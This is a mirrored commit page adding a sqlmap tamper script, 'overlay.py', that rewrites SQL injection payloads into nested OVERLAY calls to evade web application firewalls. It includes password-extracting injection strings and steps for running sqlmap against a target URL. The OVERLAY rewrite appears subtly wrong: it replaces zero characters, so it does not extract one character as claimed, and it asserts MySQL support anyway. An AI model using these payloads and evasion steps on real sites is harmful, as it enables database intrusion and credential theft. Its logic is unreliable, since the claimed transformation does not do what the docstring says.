mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-03 16:24:15 +03:00
Merge a8ffa7804e into f22abb36a3
This commit is contained in:
commit
100a1d61bd
153
tamper/overlay.py
Normal file
153
tamper/overlay.py
Normal file
|
|
@ -0,0 +1,153 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.NORMAL
|
||||
|
||||
def dependencies():
|
||||
pass
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces SUBSTRING with OVERLAY function (without commas)
|
||||
|
||||
Tested against:
|
||||
* PostgreSQL
|
||||
* MySQL (limited support)
|
||||
|
||||
Notes:
|
||||
* Replaces SUBSTRING(str, pos, len) with nested OVERLAY functions
|
||||
* Works without comma characters in the query
|
||||
* Useful for bypassing WAF filters that block commas
|
||||
|
||||
>>> tamper('SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)')
|
||||
'OVERLAY(OVERLAY((SELECT password FROM users LIMIT 1) PLACING \\'\\' FROM 1 FOR 2) PLACING \\'\\' FROM 2)'
|
||||
|
||||
>>> tamper('SUBSTRING(username FROM 1 FOR 1)')
|
||||
'OVERLAY(username PLACING \\'\\' FROM 2)'
|
||||
|
||||
>>> tamper('SUBSTRING(password,5,1)')
|
||||
'OVERLAY(OVERLAY(password PLACING \\'\\' FROM 1 FOR 4) PLACING \\'\\' FROM 2)'
|
||||
"""
|
||||
|
||||
retVal = payload
|
||||
|
||||
if payload:
|
||||
# Pattern 1: SUBSTRING(string FROM position FOR length)
|
||||
# PostgreSQL style
|
||||
pattern1 = r'SUBSTRING\s*\(\s*(.+?)\s+FROM\s+(\d+)\s+FOR\s+(\d+)\s*\)'
|
||||
|
||||
def replace_postgres_style(match):
|
||||
string = match.group(1)
|
||||
position = int(match.group(2))
|
||||
length = int(match.group(3))
|
||||
|
||||
# Only handle single character extraction (length = 1)
|
||||
if length != 1:
|
||||
return match.group(0)
|
||||
|
||||
if position == 1:
|
||||
# Special case: first character
|
||||
return f"OVERLAY({string} PLACING '' FROM 2)"
|
||||
else:
|
||||
# General case: position > 1
|
||||
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
|
||||
|
||||
retVal = re.sub(pattern1, replace_postgres_style, retVal, flags=re.IGNORECASE)
|
||||
|
||||
# Pattern 2: SUBSTRING(string, position, length)
|
||||
# MySQL/Standard style with commas
|
||||
pattern2 = r'SUBSTRING\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
|
||||
|
||||
def replace_mysql_style(match):
|
||||
string = match.group(1)
|
||||
position = int(match.group(2))
|
||||
length = int(match.group(3))
|
||||
|
||||
# Only handle single character extraction (length = 1)
|
||||
if length != 1:
|
||||
return match.group(0)
|
||||
|
||||
if position == 1:
|
||||
return f"OVERLAY({string} PLACING '' FROM 2)"
|
||||
else:
|
||||
return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
|
||||
|
||||
retVal = re.sub(pattern2, replace_mysql_style, retVal, flags=re.IGNORECASE)
|
||||
|
||||
# Pattern 3: MID(string, position, length) - MySQL alternative
|
||||
pattern3 = r'MID\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
|
||||
retVal = re.sub(pattern3, replace_mysql_style, retVal, flags=re.IGNORECASE)
|
||||
|
||||
# Pattern 4: SUBSTR(string, position, length) - Another alternative
|
||||
pattern4 = r'SUBSTR\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
|
||||
retVal = re.sub(pattern4, replace_mysql_style, retVal, flags=re.IGNORECASE)
|
||||
|
||||
return retVal
|
||||
|
||||
|
||||
# Test cases for validation
|
||||
if __name__ == "__main__":
|
||||
test_cases = [
|
||||
# PostgreSQL style
|
||||
"SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)",
|
||||
"SUBSTRING(username FROM 1 FOR 1)",
|
||||
"SUBSTRING(database() FROM 5 FOR 1)",
|
||||
|
||||
# MySQL style
|
||||
"SUBSTRING(password,5,1)",
|
||||
"SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)",
|
||||
"MID(username,3,1)",
|
||||
"SUBSTR(password,2,1)",
|
||||
|
||||
# Complex queries
|
||||
"AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))>65",
|
||||
"UNION SELECT SUBSTRING(table_name FROM 1 FOR 1) FROM information_schema.tables",
|
||||
|
||||
# Edge cases
|
||||
"SUBSTRING(col FROM 1 FOR 1)",
|
||||
"SUBSTRING(col,1,1)",
|
||||
]
|
||||
|
||||
print("=== SQLMAP TAMPER SCRIPT TEST ===\n")
|
||||
|
||||
for i, test in enumerate(test_cases, 1):
|
||||
result = tamper(test)
|
||||
print(f"Test {i}:")
|
||||
print(f" Original: {test}")
|
||||
print(f" Tampered: {result}")
|
||||
print()
|
||||
|
||||
print("\n=== USAGE INSTRUCTIONS ===")
|
||||
print("""
|
||||
1. Save this script as 'overlay.py' in SQLMap's tamper directory:
|
||||
/path/to/sqlmap/tamper/overlay.py
|
||||
|
||||
2. Run SQLMap with the tamper script:
|
||||
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay
|
||||
|
||||
3. Combine with other tampers:
|
||||
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay,space2comment
|
||||
|
||||
4. Use with specific DBMS:
|
||||
python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay --dbms=postgresql
|
||||
|
||||
5. Test the tamper:
|
||||
python overlay.py
|
||||
|
||||
Example transformation:
|
||||
Before: SUBSTRING(password,3,1)
|
||||
After: OVERLAY(OVERLAY(password PLACING '' FROM 1 FOR 2) PLACING '' FROM 2)
|
||||
|
||||
Benefits:
|
||||
✓ No comma characters in the query
|
||||
✓ Bypasses WAF filters blocking SUBSTRING
|
||||
✓ Works with PostgreSQL OVERLAY function
|
||||
✓ Supports nested subqueries
|
||||
""")
|
||||
Loading…
Reference in New Issue
Block a user